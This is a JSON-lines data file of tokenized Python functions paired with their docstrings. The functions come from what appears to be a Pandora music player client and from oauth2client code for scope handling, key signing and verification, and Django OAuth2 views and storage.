{"signature": "def play(self, song):", "body": "self._callbacks.play(song)<EOL>self._load_track(song)<EOL>time.sleep(<NUM_LIT:2>)  <EOL>while True:<EOL><INDENT>try:<EOL><INDENT>self._callbacks.pre_poll()<EOL>self._ensure_started()<EOL>self._loop_hook()<EOL>readers, _, _ = select.select(<EOL>self._get_select_readers(), [], [], <NUM_LIT:1>)<EOL>for handle in readers:<EOL><INDENT>if handle.fileno() == self._control_fd:<EOL><INDENT>self._callbacks.input(handle.readline().strip(), song)<EOL><DEDENT>else:<EOL><INDENT>value = self._read_from_process(handle)<EOL>if self._player_stopped(value):<EOL><INDENT>return<EOL><DEDENT><DEDENT><DEDENT><DEDENT>finally:<EOL><INDENT>self._callbacks.post_poll()<EOL><DEDENT><DEDENT>", "docstring": "Play a new song from a Pandora model\n\n        Returns once the stream starts but does not shut down the remote audio\n        output backend process. Calls the input callback when the user has\n        input.", "id": "f2389:c3:m16"}
{"signature": "def end_station(self):", "body": "raise StopIteration<EOL>", "docstring": "Stop playing the station", "id": "f2389:c3:m17"}
{"signature": "def play_station(self, station):", "body": "for song in iterate_forever(station.get_playlist):<EOL><INDENT>try:<EOL><INDENT>self.play(song)<EOL><DEDENT>except StopIteration:<EOL><INDENT>self.stop()<EOL>return<EOL><DEDENT><DEDENT>", "docstring": "Play the station until something ends it\n\n        This function will run forever until termintated by calling\n        end_station.", "id": "f2389:c3:m18"}
{"signature": "def _post_start(self):", "body": "flags = fcntl.fcntl(self._process.stdout, fcntl.F_GETFL)<EOL>fcntl.fcntl(self._process.stdout, fcntl.F_SETFL, flags | os.O_NONBLOCK)<EOL>", "docstring": "Set stdout to non-blocking\n\n        VLC does not always return a newline when reading status so in order to\n        be lazy and still use the read API without caring about how much output\n        there is we switch stdout to nonblocking mode and just read a large\n        chunk of datin order to be lazy and still use the read API without\n        caring about how much output there is we switch stdout to nonblocking\n        mode and just read a large chunk of data.", "id": "f2389:c5:m4"}
{"signature": "def iterate_forever(func, *args, **kwargs):", "body": "output = func(*args, **kwargs)<EOL>while True:<EOL><INDENT>try:<EOL><INDENT>playlist_item = next(output)<EOL>playlist_item.prepare_playback()<EOL>yield playlist_item<EOL><DEDENT>except StopIteration:<EOL><INDENT>output = func(*args, **kwargs)<EOL><DEDENT><DEDENT>", "docstring": "Iterate over a finite iterator forever\n\n    When the iterator is exhausted will call the function again to generate a\n    new iterator and keep iterating.", "id": "f2390:m0"}
{"signature": "@staticmethod<EOL><INDENT>def get_integer(prompt):<DEDENT>", "body": "while True:<EOL><INDENT>try:<EOL><INDENT>return int(input(prompt).strip())<EOL><DEDENT>except ValueError:<EOL><INDENT>print(Colors.red(\"<STR_LIT>\"))<EOL><DEDENT><DEDENT>", "docstring": "Gather user input and convert it to an integer\n\n        Will keep trying till the user enters an interger or until they ^C the\n        program.", "id": "f2390:c4:m7"}
{"signature": "def formatter(self, api_client, data, newval):", "body": "raise NotImplementedError<EOL>", "docstring": "Format Value for Model\n\n        The return value of this method is used as a value for the field in the\n        model of which this field is a member\n\n        api_client\n            instance of a Pandora API client\n        data\n            complete JSON data blob for the parent model of which this field is\n            a member\n        newval\n            the value of this field as retrieved from the JSON data after\n            having resolved default value logic", "id": "f2402:c1:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_json_list(cls, api_client, data):<DEDENT>", "body": "return [cls.from_json(api_client, item) for item in data]<EOL>", "docstring": "Convert a list of JSON values to a list of models", "id": "f2402:c4:m0"}
{"signature": "@staticmethod<EOL><INDENT>def populate_fields(api_client, instance, data):<DEDENT>", "body": "for key, value in instance.__class__._fields.items():<EOL><INDENT>default = getattr(value, \"<STR_LIT:default>\", None)<EOL>newval = data.get(value.field, default)<EOL>if isinstance(value, SyntheticField):<EOL><INDENT>newval = value.formatter(api_client, data, newval)<EOL>setattr(instance, key, newval)<EOL>continue<EOL><DEDENT>model_class = getattr(value, \"<STR_LIT>\", None)<EOL>if newval and model_class:<EOL><INDENT>if isinstance(newval, list):<EOL><INDENT>newval = model_class.from_json_list(api_client, newval)<EOL><DEDENT>else:<EOL><INDENT>newval = model_class.from_json(api_client, newval)<EOL><DEDENT><DEDENT>if newval and value.formatter:<EOL><INDENT>newval = value.formatter(api_client, newval)<EOL><DEDENT>setattr(instance, key, newval)<EOL><DEDENT>", "docstring": "Populate all fields of a model with data\n\n        Given a model with a PandoraModel superclass will enumerate all\n        declared fields on that model and populate the values of their Field\n        and SyntheticField classes. All declared fields will have a value after\n        this function runs even if they are missing from the incoming JSON.", "id": "f2402:c4:m2"}
{"signature": "@classmethod<EOL><INDENT>def from_json(cls, api_client, data):<DEDENT>", "body": "self = cls(api_client)<EOL>PandoraModel.populate_fields(api_client, self, data)<EOL>return self<EOL>", "docstring": "Convert one JSON value to a model object", "id": "f2402:c4:m3"}
{"signature": "def _base_repr(self, and_also=None):", "body": "items = [<EOL>\"<STR_LIT:=>\".join((key, repr(getattr(self, key))))<EOL>for key in sorted(self._fields.keys())]<EOL>if items:<EOL><INDENT>output = \"<STR_LIT:U+002CU+0020>\".join(items)<EOL><DEDENT>else:<EOL><INDENT>output = None<EOL><DEDENT>if and_also:<EOL><INDENT>return \"<STR_LIT>\".format(self.__class__.__name__,<EOL>output, and_also)<EOL><DEDENT>else:<EOL><INDENT>return \"<STR_LIT>\".format(self.__class__.__name__, output)<EOL><DEDENT>", "docstring": "Common repr logic for subclasses to hook", "id": "f2402:c4:m4"}
{"signature": "def formatter(self, api_client, data, newval):", "body": "url_map = data.get(\"<STR_LIT>\")<EOL>audio_url = data.get(\"<STR_LIT>\")<EOL>if audio_url and not url_map:<EOL><INDENT>url_map = {<EOL>BaseAPIClient.HIGH_AUDIO_QUALITY: {<EOL>\"<STR_LIT>\": audio_url,<EOL>\"<STR_LIT>\": <NUM_LIT:64>,<EOL>\"<STR_LIT>\": \"<STR_LIT>\",<EOL>}<EOL>}<EOL><DEDENT>elif not url_map:  <EOL><INDENT>return None<EOL><DEDENT>valid_audio_formats = [BaseAPIClient.HIGH_AUDIO_QUALITY,<EOL>BaseAPIClient.MED_AUDIO_QUALITY,<EOL>BaseAPIClient.LOW_AUDIO_QUALITY]<EOL>preferred_quality = api_client.default_audio_quality<EOL>if preferred_quality in valid_audio_formats:<EOL><INDENT>i = valid_audio_formats.index(preferred_quality)<EOL>valid_audio_formats = valid_audio_formats[i:]<EOL><DEDENT>for quality in valid_audio_formats:<EOL><INDENT>audio_url = url_map.get(quality)<EOL>if audio_url:<EOL><INDENT>return audio_url[self.field]<EOL><DEDENT><DEDENT>return audio_url[self.field] if audio_url else None<EOL>", "docstring": "Get audio-related fields\n\n        Try to find fields for the audio url for specified preferred quality\n        level, or next-lowest available quality url otherwise.", "id": "f2404:c2:m0"}
{"signature": "def formatter(self, api_client, data, newval):", "body": "if newval is None:<EOL><INDENT>return None<EOL><DEDENT>user_param = data['<STR_LIT>']<EOL>urls = {}<EOL>if isinstance(newval, str):<EOL><INDENT>urls[user_param[<NUM_LIT:0>]] = newval<EOL><DEDENT>else:<EOL><INDENT>for key, url in zip(user_param, newval):<EOL><INDENT>urls[key] = url<EOL><DEDENT><DEDENT>return urls<EOL>", "docstring": "Parse additional url fields and map them to inputs\n\n        Attempt to create a dictionary with keys being user input, and\n        response being the returned URL", "id": "f2404:c3:m0"}
{"signature": "def prepare_playback(self):", "body": "return self<EOL>", "docstring": "Prepare Track for Playback\n\n        This method must be called by clients before beginning playback\n        otherwise the track recieved may not be playable.", "id": "f2404:c4:m1"}
{"signature": "def retries(max_tries, exceptions=(Exception,)):", "body": "def decorator(func):<EOL><INDENT>def function(*args, **kwargs):<EOL><INDENT>retries_left = max_tries<EOL>while retries_left > <NUM_LIT:0>:<EOL><INDENT>try:<EOL><INDENT>retries_left -= <NUM_LIT:1><EOL>return func(*args, **kwargs)<EOL><DEDENT>except exceptions as exc:<EOL><INDENT>if isinstance(exc, PandoraException):<EOL><INDENT>raise<EOL><DEDENT>if retries_left > <NUM_LIT:0>:<EOL><INDENT>time.sleep(delay_exponential(<EOL><NUM_LIT:0.5>, <NUM_LIT:2>, max_tries - retries_left))<EOL><DEDENT>else:<EOL><INDENT>raise<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return function<EOL><DEDENT>return decorator<EOL>", "docstring": "Function decorator implementing retrying logic.\n\n    exceptions: A tuple of exception classes; default (Exception,)\n\n    The decorator will call the function up to max_tries times if it raises\n    an exception.\n\n    By default it catches instances of the Exception class and subclasses.\n    This will recover after all but the most fatal errors. You may specify a\n    custom tuple of exception classes with the 'exceptions' argument; the\n    function will only be retried if it raises one of the specified\n    exceptions.", "id": "f2408:m0"}
{"signature": "def delay_exponential(base, growth_factor, attempts):", "body": "if base == '<STR_LIT>':<EOL><INDENT>base = random.random()<EOL><DEDENT>elif base <= <NUM_LIT:0>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\".format(base))<EOL><DEDENT>time_to_sleep = base * (growth_factor ** (attempts - <NUM_LIT:1>))<EOL>return time_to_sleep<EOL>", "docstring": "Calculate time to sleep based on exponential function.\n    The format is::\n\n        base * growth_factor ^ (attempts - 1)\n\n    If ``base`` is set to 'rand' then a random number between\n    0 and 1 will be used as the base.\n    Base must be greater than 0, otherwise a ValueError will be\n    raised.", "id": "f2408:m1"}
{"signature": "def set_up_gae_environment(sdk_path):", "body": "if '<STR_LIT>' in sys.modules:<EOL><INDENT>reload_module(sys.modules['<STR_LIT>'])<EOL><DEDENT>sys.path.insert(<NUM_LIT:0>, sdk_path)<EOL>import dev_appserver<EOL>dev_appserver.fix_sys_path()<EOL>import google.appengine.tools.os_compat<EOL>", "docstring": "Set up appengine SDK third-party imports.\n\n    The App Engine SDK does terrible things to the global interpreter state.\n    Because of this, this stuff can't be neatly undone. As such, it can't be\n    a fixture.", "id": "f2428:m0"}
{"signature": "@contextlib.contextmanager<EOL>def mock_module_import(module):", "body": "parts = module.split('<STR_LIT:.>')<EOL>entries = ['<STR_LIT:.>'.join(parts[:i + <NUM_LIT:1>]) for i in range(len(parts))]<EOL>for entry in entries:<EOL><INDENT>sys.modules[entry] = object()<EOL><DEDENT>try:<EOL><INDENT>yield<EOL><DEDENT>finally:<EOL><INDENT>for entry in entries:<EOL><INDENT>del sys.modules[entry]<EOL><DEDENT><DEDENT>", "docstring": "Place a dummy objects in sys.modules to mock an import test.", "id": "f2442:m3"}
{"signature": "def reset_env(self, env):", "body": "os.environ.pop(env, None)<EOL>", "docstring": "Set the environment variable 'env' to 'value'.", "id": "f2442:c2:m2"}
{"signature": "def __init__(self, headers=None, data=None):", "body": "if headers is None:<EOL><INDENT>headers = {'<STR_LIT:status>': http_client.OK}<EOL><DEDENT>self.data = data<EOL>self.response_headers = headers<EOL>self.headers = None<EOL>self.uri = None<EOL>self.method = None<EOL>self.body = None<EOL>self.headers = None<EOL>self.requests = <NUM_LIT:0><EOL>", "docstring": "HttpMock constructor.\n\n        Args:\n            headers: dict, header to return with response", "id": "f2444:c1:m0"}
{"signature": "def __init__(self, iterable):", "body": "self._iterable = iterable<EOL>self.requests = []<EOL>", "docstring": "HttpMockSequence constructor.\n\n        Args:\n            iterable: iterable, a sequence of pairs of (headers, body)", "id": "f2444:c2:m0"}
{"signature": "def positional(max_positional_args):", "body": "def positional_decorator(wrapped):<EOL><INDENT>@functools.wraps(wrapped)<EOL>def positional_wrapper(*args, **kwargs):<EOL><INDENT>if len(args) > max_positional_args:<EOL><INDENT>plural_s = '<STR_LIT>'<EOL>if max_positional_args != <NUM_LIT:1>:<EOL><INDENT>plural_s = '<STR_LIT:s>'<EOL><DEDENT>message = ('<STR_LIT>'<EOL>'<STR_LIT>'.format(<EOL>function=wrapped.__name__,<EOL>args_max=max_positional_args,<EOL>args_given=len(args),<EOL>plural=plural_s))<EOL>if positional_parameters_enforcement == POSITIONAL_EXCEPTION:<EOL><INDENT>raise TypeError(message)<EOL><DEDENT>elif positional_parameters_enforcement == POSITIONAL_WARNING:<EOL><INDENT>logger.warning(message)<EOL><DEDENT><DEDENT>return wrapped(*args, **kwargs)<EOL><DEDENT>return positional_wrapper<EOL><DEDENT>if isinstance(max_positional_args, six.integer_types):<EOL><INDENT>return positional_decorator<EOL><DEDENT>else:<EOL><INDENT>args, _, _, defaults = inspect.getargspec(max_positional_args)<EOL>return positional(len(args) - len(defaults))(max_positional_args)<EOL><DEDENT>", "docstring": "A decorator to declare that only the first N arguments my be positional.\n\n    This decorator makes it easy to support Python 3 style keyword-only\n    parameters. For example, in Python 3 it is possible to write::\n\n        def fn(pos1, *, kwonly1=None, kwonly1=None):\n            ...\n\n    All named parameters after ``*`` must be a keyword::\n\n        fn(10, 'kw1', 'kw2')  # Raises exception.\n        fn(10, kwonly1='kw1')  # Ok.\n\n    Example\n    ^^^^^^^\n\n    To define a function like above, do::\n\n        @positional(1)\n        def fn(pos1, kwonly1=None, kwonly2=None):\n            ...\n\n    If no default value is provided to a keyword argument, it becomes a\n    required keyword argument::\n\n        @positional(0)\n        def fn(required_kw):\n            ...\n\n    This must be called with the keyword parameter::\n\n        fn()  # Raises exception.\n        fn(10)  # Raises exception.\n        fn(required_kw=10)  # Ok.\n\n    When defining instance or class methods always remember to account for\n    ``self`` and ``cls``::\n\n        class MyClass(object):\n\n            @positional(2)\n            def my_method(self, pos1, kwonly1=None):\n                ...\n\n            @classmethod\n            @positional(2)\n            def my_method(cls, pos1, kwonly1=None):\n                ...\n\n    The positional decorator behavior is controlled by\n    ``_helpers.positional_parameters_enforcement``, which may be set to\n    ``POSITIONAL_EXCEPTION``, ``POSITIONAL_WARNING`` or\n    ``POSITIONAL_IGNORE`` to raise an exception, log a warning, or do\n    nothing, respectively, if a declaration is violated.\n\n    Args:\n        max_positional_arguments: Maximum number of positional arguments. All\n                                  parameters after the this index must be\n                                  keyword only.\n\n    Returns:\n        A decorator that prevents using arguments after max_positional_args\n        from being used as positional parameters.\n\n    Raises:\n        TypeError: if a key-word only argument is provided as a positional\n                   parameter, but only if\n                   _helpers.positional_parameters_enforcement is set to\n                   POSITIONAL_EXCEPTION.", "id": "f2445:m0"}
{"signature": "def scopes_to_string(scopes):", "body": "if isinstance(scopes, six.string_types):<EOL><INDENT>return scopes<EOL><DEDENT>else:<EOL><INDENT>return '<STR_LIT:U+0020>'.join(scopes)<EOL><DEDENT>", "docstring": "Converts scope value to a string.\n\n    If scopes is a string then it is simply passed through. If scopes is an\n    iterable then a string is returned that is all the individual scopes\n    concatenated with spaces.\n\n    Args:\n        scopes: string or iterable of strings, the scopes.\n\n    Returns:\n        The scopes formatted as a single string.", "id": "f2445:m1"}
{"signature": "def string_to_scopes(scopes):", "body": "if not scopes:<EOL><INDENT>return []<EOL><DEDENT>elif isinstance(scopes, six.string_types):<EOL><INDENT>return scopes.split('<STR_LIT:U+0020>')<EOL><DEDENT>else:<EOL><INDENT>return scopes<EOL><DEDENT>", "docstring": "Converts stringifed scope value to a list.\n\n    If scopes is a list then it is simply passed through. If scopes is an\n    string then a list of each individual scope is returned.\n\n    Args:\n        scopes: a string or iterable of strings, the scopes.\n\n    Returns:\n        The scopes in a list.", "id": "f2445:m2"}
{"signature": "def parse_unique_urlencoded(content):", "body": "urlencoded_params = urllib.parse.parse_qs(content)<EOL>params = {}<EOL>for key, value in six.iteritems(urlencoded_params):<EOL><INDENT>if len(value) != <NUM_LIT:1>:<EOL><INDENT>msg = ('<STR_LIT>'<EOL>'<STR_LIT>' % (key, '<STR_LIT:U+002CU+0020>'.join(value)))<EOL>raise ValueError(msg)<EOL><DEDENT>params[key] = value[<NUM_LIT:0>]<EOL><DEDENT>return params<EOL>", "docstring": "Parses unique key-value parameters from urlencoded content.\n\n    Args:\n        content: string, URL-encoded key-value pairs.\n\n    Returns:\n        dict, The key-value pairs from ``content``.\n\n    Raises:\n        ValueError: if one of the keys is repeated.", "id": "f2445:m3"}
{"signature": "def update_query_params(uri, params):", "body": "parts = urllib.parse.urlparse(uri)<EOL>query_params = parse_unique_urlencoded(parts.query)<EOL>query_params.update(params)<EOL>new_query = urllib.parse.urlencode(query_params)<EOL>new_parts = parts._replace(query=new_query)<EOL>return urllib.parse.urlunparse(new_parts)<EOL>", "docstring": "Updates a URI with new query parameters.\n\n    If a given key from ``params`` is repeated in the ``uri``, then\n    the URI will be considered invalid and an error will occur.\n\n    If the URI is valid, then each value from ``params`` will\n    replace the corresponding value in the query parameters (if\n    it exists).\n\n    Args:\n        uri: string, A valid URI, with potential existing query parameters.\n        params: dict, A dictionary of query parameters.\n\n    Returns:\n        The same URI but with the new query parameters added.", "id": "f2445:m4"}
{"signature": "def _add_query_parameter(url, name, value):", "body": "if value is None:<EOL><INDENT>return url<EOL><DEDENT>else:<EOL><INDENT>return update_query_params(url, {name: value})<EOL><DEDENT>", "docstring": "Adds a query parameter to a url.\n\n    Replaces the current value if it already exists in the URL.\n\n    Args:\n        url: string, url to add the query parameter to.\n        name: string, query parameter name.\n        value: string, query parameter value.\n\n    Returns:\n        Updated query parameter. Does not update the url if value is None.", "id": "f2445:m5"}
{"signature": "def _parse_pem_key(raw_key_input):", "body": "offset = raw_key_input.find(b'<STR_LIT>')<EOL>if offset != -<NUM_LIT:1>:<EOL><INDENT>return raw_key_input[offset:]<EOL><DEDENT>", "docstring": "Identify and extract PEM keys.\n\n    Determines whether the given key is in the format of PEM key, and extracts\n    the relevant part of the key if it is.\n\n    Args:\n        raw_key_input: The contents of a private key file (either PEM or\n                       PKCS12).\n\n    Returns:\n        string, The actual key if the contents are from a PEM file, or\n        else None.", "id": "f2445:m7"}
{"signature": "def _to_bytes(value, encoding='<STR_LIT:ascii>'):", "body": "result = (value.encode(encoding)<EOL>if isinstance(value, six.text_type) else value)<EOL>if isinstance(result, six.binary_type):<EOL><INDENT>return result<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>'.format(value))<EOL><DEDENT>", "docstring": "Converts a string value to bytes, if necessary.\n\n    Unfortunately, ``six.b`` is insufficient for this task since in\n    Python2 it does not modify ``unicode`` objects.\n\n    Args:\n        value: The string/bytes value to be converted.\n        encoding: The encoding to use to convert unicode to bytes. Defaults\n                  to \"ascii\", which will not allow any characters from ordinals\n                  larger than 127. Other useful values are \"latin-1\", which\n                  which will only allows byte ordinals (up to 255) and \"utf-8\",\n                  which will encode any unicode that needs to be.\n\n    Returns:\n        The original value converted to bytes (if unicode) or as passed in\n        if it started out as bytes.\n\n    Raises:\n        ValueError if the value could not be converted to bytes.", "id": "f2445:m9"}
{"signature": "def _from_bytes(value):", "body": "result = (value.decode('<STR_LIT:utf-8>')<EOL>if isinstance(value, six.binary_type) else value)<EOL>if isinstance(result, six.text_type):<EOL><INDENT>return result<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'.format(value))<EOL><DEDENT>", "docstring": "Converts bytes to a string value, if necessary.\n\n    Args:\n        value: The string/bytes value to be converted.\n\n    Returns:\n        The original value converted to unicode (if bytes) or as passed in\n        if it started out as unicode.\n\n    Raises:\n        ValueError if the value could not be converted to unicode.", "id": "f2445:m10"}
{"signature": "def __init__(self, pubkey):", "body": "self._pubkey = pubkey<EOL>", "docstring": "Constructor.\n\n        Args:\n            pubkey: OpenSSL.crypto.PKey (or equiv), The public key to verify\n            with.", "id": "f2446:c0:m0"}
{"signature": "def verify(self, message, signature):", "body": "message = _helpers._to_bytes(message, encoding='<STR_LIT:utf-8>')<EOL>return PKCS1_v1_5.new(self._pubkey).verify(<EOL>SHA256.new(message), signature)<EOL>", "docstring": "Verifies a message against a signature.\n\n        Args:\n            message: string or bytes, The message to verify. If string, will be\n                     encoded to bytes as utf-8.\n            signature: string or bytes, The signature on the message.\n\n        Returns:\n            True if message was signed by the private key associated with the\n            public key that this object was constructed with.", "id": "f2446:c0:m1"}
{"signature": "@staticmethod<EOL><INDENT>def from_string(key_pem, is_x509_cert):<DEDENT>", "body": "if is_x509_cert:<EOL><INDENT>key_pem = _helpers._to_bytes(key_pem)<EOL>pemLines = key_pem.replace(b'<STR_LIT:U+0020>', b'<STR_LIT>').split()<EOL>certDer = _helpers._urlsafe_b64decode(b'<STR_LIT>'.join(pemLines[<NUM_LIT:1>:-<NUM_LIT:1>]))<EOL>certSeq = DerSequence()<EOL>certSeq.decode(certDer)<EOL>tbsSeq = DerSequence()<EOL>tbsSeq.decode(certSeq[<NUM_LIT:0>])<EOL>pubkey = RSA.importKey(tbsSeq[<NUM_LIT:6>])<EOL><DEDENT>else:<EOL><INDENT>pubkey = RSA.importKey(key_pem)<EOL><DEDENT>return PyCryptoVerifier(pubkey)<EOL>", "docstring": "Construct a Verified instance from a string.\n\n        Args:\n            key_pem: string, public key in PEM format.\n            is_x509_cert: bool, True if key_pem is an X509 cert, otherwise it\n                          is expected to be an RSA key in PEM format.\n\n        Returns:\n            Verifier instance.", "id": "f2446:c0:m2"}
{"signature": "def __init__(self, pkey):", "body": "self._key = pkey<EOL>", "docstring": "Constructor.\n\n        Args:\n            pkey, OpenSSL.crypto.PKey (or equiv), The private key to sign with.", "id": "f2446:c1:m0"}
{"signature": "def sign(self, message):", "body": "message = _helpers._to_bytes(message, encoding='<STR_LIT:utf-8>')<EOL>return PKCS1_v1_5.new(self._key).sign(SHA256.new(message))<EOL>", "docstring": "Signs a message.\n\n        Args:\n            message: string, Message to be signed.\n\n        Returns:\n            string, The signature of the message for the given key.", "id": "f2446:c1:m1"}
{"signature": "@staticmethod<EOL><INDENT>def from_string(key, password='<STR_LIT>'):<DEDENT>", "body": "parsed_pem_key = _helpers._parse_pem_key(_helpers._to_bytes(key))<EOL>if parsed_pem_key:<EOL><INDENT>pkey = RSA.importKey(parsed_pem_key)<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>return PyCryptoSigner(pkey)<EOL>", "docstring": "Construct a Signer instance from a string.\n\n        Args:\n            key: string, private key in PEM format.\n            password: string, password for private key file. Unused for PEM\n                      files.\n\n        Returns:\n            Signer instance.\n\n        Raises:\n            NotImplementedError if the key isn't in PEM format.", "id": "f2446:c1:m2"}
{"signature": "def _make_flow(request, scopes, return_url=None):", "body": "<EOL>csrf_token = hashlib.sha256(os.urandom(<NUM_LIT>)).hexdigest()<EOL>request.session[_CSRF_KEY] = csrf_token<EOL>state = json.dumps({<EOL>'<STR_LIT>': csrf_token,<EOL>'<STR_LIT>': return_url,<EOL>})<EOL>flow = client.OAuth2WebServerFlow(<EOL>client_id=django_util.oauth2_settings.client_id,<EOL>client_secret=django_util.oauth2_settings.client_secret,<EOL>scope=scopes,<EOL>state=state,<EOL>redirect_uri=request.build_absolute_uri(<EOL>urlresolvers.reverse(\"<STR_LIT>\")))<EOL>flow_key = _FLOW_KEY.format(csrf_token)<EOL>request.session[flow_key] = jsonpickle.encode(flow)<EOL>return flow<EOL>", "docstring": "Creates a Web Server Flow\n\n    Args:\n        request: A Django request object.\n        scopes: the request oauth2 scopes.\n        return_url: The URL to return to after the flow is complete. Defaults\n            to the path of the current request.\n\n    Returns:\n        An OAuth2 flow object that has been stored in the session.", "id": "f2449:m0"}
{"signature": "def _get_flow_for_token(csrf_token, request):", "body": "flow_pickle = request.session.get(_FLOW_KEY.format(csrf_token), None)<EOL>return None if flow_pickle is None else jsonpickle.decode(flow_pickle)<EOL>", "docstring": "Looks up the flow in session to recover information about requested\n    scopes.\n\n    Args:\n        csrf_token: The token passed in the callback request that should\n            match the one previously generated and stored in the request on the\n            initial authorization view.\n\n    Returns:\n        The OAuth2 Flow object associated with this flow based on the\n        CSRF token.", "id": "f2449:m1"}
{"signature": "def oauth2_callback(request):", "body": "if '<STR_LIT:error>' in request.GET:<EOL><INDENT>reason = request.GET.get(<EOL>'<STR_LIT>', request.GET.get('<STR_LIT:error>', '<STR_LIT>'))<EOL>reason = html.escape(reason)<EOL>return http.HttpResponseBadRequest(<EOL>'<STR_LIT>'.format(reason))<EOL><DEDENT>try:<EOL><INDENT>encoded_state = request.GET['<STR_LIT:state>']<EOL>code = request.GET['<STR_LIT:code>']<EOL><DEDENT>except KeyError:<EOL><INDENT>return http.HttpResponseBadRequest(<EOL>'<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>server_csrf = request.session[_CSRF_KEY]<EOL><DEDENT>except KeyError:<EOL><INDENT>return http.HttpResponseBadRequest(<EOL>'<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>state = json.loads(encoded_state)<EOL>client_csrf = state['<STR_LIT>']<EOL>return_url = state['<STR_LIT>']<EOL><DEDENT>except (ValueError, KeyError):<EOL><INDENT>return http.HttpResponseBadRequest('<STR_LIT>')<EOL><DEDENT>if client_csrf != server_csrf:<EOL><INDENT>return http.HttpResponseBadRequest('<STR_LIT>')<EOL><DEDENT>flow = _get_flow_for_token(client_csrf, request)<EOL>if not flow:<EOL><INDENT>return http.HttpResponseBadRequest('<STR_LIT>')<EOL><DEDENT>try:<EOL><INDENT>credentials = flow.step2_exchange(code)<EOL><DEDENT>except client.FlowExchangeError as exchange_error:<EOL><INDENT>return http.HttpResponseBadRequest(<EOL>'<STR_LIT>'.format(exchange_error))<EOL><DEDENT>get_storage(request).put(credentials)<EOL>signals.oauth2_authorized.send(sender=signals.oauth2_authorized,<EOL>request=request, credentials=credentials)<EOL>return shortcuts.redirect(return_url)<EOL>", "docstring": "View that handles the user's return from OAuth2 provider.\n\n    This view verifies the CSRF state and OAuth authorization code, and on\n    success stores the credentials obtained in the storage provider,\n    and redirects to the return_url specified in the authorize view and\n    stored in the session.\n\n    Args:\n        request: Django request.\n\n    Returns:\n         A redirect response back to the return_url.", "id": "f2449:m2"}
{"signature": "def oauth2_authorize(request):", "body": "return_url = request.GET.get('<STR_LIT>', None)<EOL>if not return_url:<EOL><INDENT>return_url = request.META.get('<STR_LIT>', '<STR_LIT:/>')<EOL><DEDENT>scopes = request.GET.getlist('<STR_LIT>', django_util.oauth2_settings.scopes)<EOL>if django_util.oauth2_settings.storage_model:<EOL><INDENT>if not request.user.is_authenticated():<EOL><INDENT>return redirect('<STR_LIT>'.format(<EOL>settings.LOGIN_URL, parse.quote(request.get_full_path())))<EOL><DEDENT>else:<EOL><INDENT>user_oauth = django_util.UserOAuth2(request, scopes, return_url)<EOL>if user_oauth.has_credentials():<EOL><INDENT>return redirect(return_url)<EOL><DEDENT><DEDENT><DEDENT>flow = _make_flow(request=request, scopes=scopes, return_url=return_url)<EOL>auth_url = flow.step1_get_authorize_url()<EOL>return shortcuts.redirect(auth_url)<EOL>", "docstring": "View to start the OAuth2 Authorization flow.\n\n     This view starts the OAuth2 authorization flow. If scopes is passed in\n     as a  GET URL parameter, it will authorize those scopes, otherwise the\n     default scopes specified in settings. The return_url can also be\n     specified as a GET parameter, otherwise the referer header will be\n     checked, and if that isn't found it will return to the root path.\n\n    Args:\n       request: The Django request object.\n\n    Returns:\n         A redirect to Google OAuth2 Authorization.", "id": "f2449:m3"}
{"signature": "def __init__(self, model_class, key_name, key_value, property_name):", "body": "super(DjangoORMStorage, self).__init__()<EOL>self.model_class = model_class<EOL>self.key_name = key_name<EOL>self.key_value = key_value<EOL>self.property_name = property_name<EOL>", "docstring": "Constructor for Storage.\n\n        Args:\n            model: string, fully qualified name of db.Model model class.\n            key_name: string, key name for the entity that has the credentials\n            key_value: string, key value for the entity that has the\n               credentials.\n            property_name: string, name of the property that is an\n                           CredentialsProperty.", "id": "f2450:c0:m0"}
{"signature": "def locked_get(self):", "body": "query = {self.key_name: self.key_value}<EOL>entities = self.model_class.objects.filter(**query)<EOL>if len(entities) > <NUM_LIT:0>:<EOL><INDENT>credential = getattr(entities[<NUM_LIT:0>], self.property_name)<EOL>if getattr(credential, '<STR_LIT>', None) is not None:<EOL><INDENT>credential.set_store(self)<EOL><DEDENT>return credential<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Retrieve stored credential from the Django ORM.\n\n        Returns:\n            oauth2client.Credentials retrieved from the Django ORM, associated\n             with the ``model``, ``key_value``->``key_name`` pair used to query\n             for the model, and ``property_name`` identifying the\n             ``CredentialsProperty`` field, all of which are defined in the\n             constructor for this Storage object.", "id": "f2450:c0:m1"}
{"signature": "def locked_put(self, credentials):", "body": "entity, _ = self.model_class.objects.get_or_create(<EOL>**{self.key_name: self.key_value})<EOL>setattr(entity, self.property_name, credentials)<EOL>entity.save()<EOL>", "docstring": "Write a Credentials to the Django datastore.\n\n        Args:\n            credentials: Credentials, the credentials to store.", "id": "f2450:c0:m2"}
{"signature": "def locked_delete(self):", "body": "query = {self.key_name: self.key_value}<EOL>self.model_class.objects.filter(**query).delete()<EOL>", "docstring": "Delete Credentials from the datastore.", "id": "f2450:c0:m3"}
{"signature": "def _load_client_secrets(filename):", "body": "client_type, client_info = clientsecrets.loadfile(filename)<EOL>if client_type != clientsecrets.TYPE_WEB:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'.format(client_type))<EOL><DEDENT>return client_info['<STR_LIT>'], client_info['<STR_LIT>']<EOL>", "docstring": "Loads client secrets from the given filename.\n\n    Args:\n        filename: The name of the file containing the JSON secret key.\n\n    Returns:\n        A 2-tuple, the first item containing the client id, and the second\n        item containing a client secret.", "id": "f2452:m0"}
